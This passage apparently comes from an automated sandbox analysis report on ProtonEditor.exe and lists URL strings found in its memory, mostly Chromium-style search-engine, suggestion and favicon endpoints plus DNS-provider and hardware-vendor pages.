    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://searchatlas.centrum.cz/favicon.icohttps://searchatlas.centrum.cz/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sg.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sg.search.yahoo.com/favicon.icohttps://sg.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sg.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sg.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://source.chromium.org/chromium/chromium/src/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sp.ask.com/sh/i/a16/favicon/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sp.ask.com/sh/i/a16/favicon/favicon.icohttps://www.ask.com/web?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ssl.pstatic.net/sstatic/search/favicon/favicon_140327.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ssl.pstatic.net/sstatic/search/favicon/favicon_140327.icohttps://search.naver.com/search.nav
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://storage.ape.yandex.net/get/browser/Doodles/yandex/drawable-xxhdpi/yandex.png
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suche.gmx.at/web/result?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suche.gmx.net/web/result?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sug.so.360.cn/suggest?encodein=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sugg.sogou.com/sugg/ajaj_json.jsp?type=addrbar&key=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.search.daum.net/sushi/opensearch/pc?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.seznam.cz/fulltext_ff?phrase=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.seznam.sk/fulltext_ff?phrase=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.yandex.by/suggest-ff.cgi?part=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.yandex.com.tr/suggest-ff.cgi?part=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.yandex.com/suggest-ff.cgi?part=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.yandex.kz/suggest-ff.cgi?part=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.yandex.ua/suggest-ff.cgi?part=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestion.baidu.com/su?wd=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.at/s?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.co.uk/s?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.com/s?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.es/s?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.fr/s?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.net/s?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggests.go.mail.ru/chrome?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://th.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://th.search.yahoo.com/favicon.icohttps://th.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://th.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://th.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tr.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tr.search.yahoo.com/favicon.icohttps://tr.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tr.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tw.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tw.search.yahoo.com/favicon.icohttps://tw.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tw.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tw.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://uk.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://uk.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ve.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ve.search.yahoo.com/favicon.icohttps://ve.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ve.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ve.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://vn.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://vn.search.yahoo.com/favicon.icohttps://vn.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://vn.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://vn.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.amd.com/en/support/apu/amd-series-processors/amd-a8-series-apu-for-laptops/a8-5550m-rade
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.ask.com/web?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.baidu.com/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.baidu.com/#ie=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.baidu.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.baidu.com/favicon.icohttps://www.baidu.com/#ie=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.baidu.com/s?ie=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.cisco.com/c/en/us/about/legal/privacy-full.html
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.delfi.lt/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.delfi.lt/favicon.icohttps://www.delfi.lt/paieska/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.delfi.lt/paieska/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.ecosia.org/newtab/(
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.ecosia.org/search?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.givero.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.givero.com/favicon.icohttps://www.givero.com/search?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.givero.com/search?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.givero.com/suggest?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.info.com/serp?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.info.com/static/www.info.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.info.com/static/www.info.com/favicon.icohttps://www.info.com/serp?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.intel.com/content/www/us/en/download-center/home.html
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.neti.ee/api/suggestOS?suggestVersion=1&suggestQuery=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.neti.ee/cgi-bin/otsing?query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.nic.cz/odvr/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.nic.cz/odvr/CZ.NIC
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.privacywall.org/images/favicon_32x32.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.privacywall.org/images/favicon_32x32.icohttps://www.privacywall.org/search/secure/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.privacywall.org/search/secure/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.quad9.net/home/privacy/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.quad9.net/home/privacy/Quad9
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.qwant.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.qwant.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.qwant.com/favicon.icohttps://www.qwant.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.so.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.so.com/favicon.icohttps://www.so.com/s?ie=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.so.com/s?ie=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.softonic.com.br/s/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.softonic.com/s/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.sogou.com/images/logo/old/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.sogou.com/images/logo/old/favicon.icohttps://www.sogou.com/web?ie=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.sogou.com/web?ie=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.yandex.by/chrome/newtab
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.yandex.com.tr/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.yandex.com.tr/chrome/newtab
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.yandex.kz/chrome/newtab
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.yandex.ua/chrome/newtab
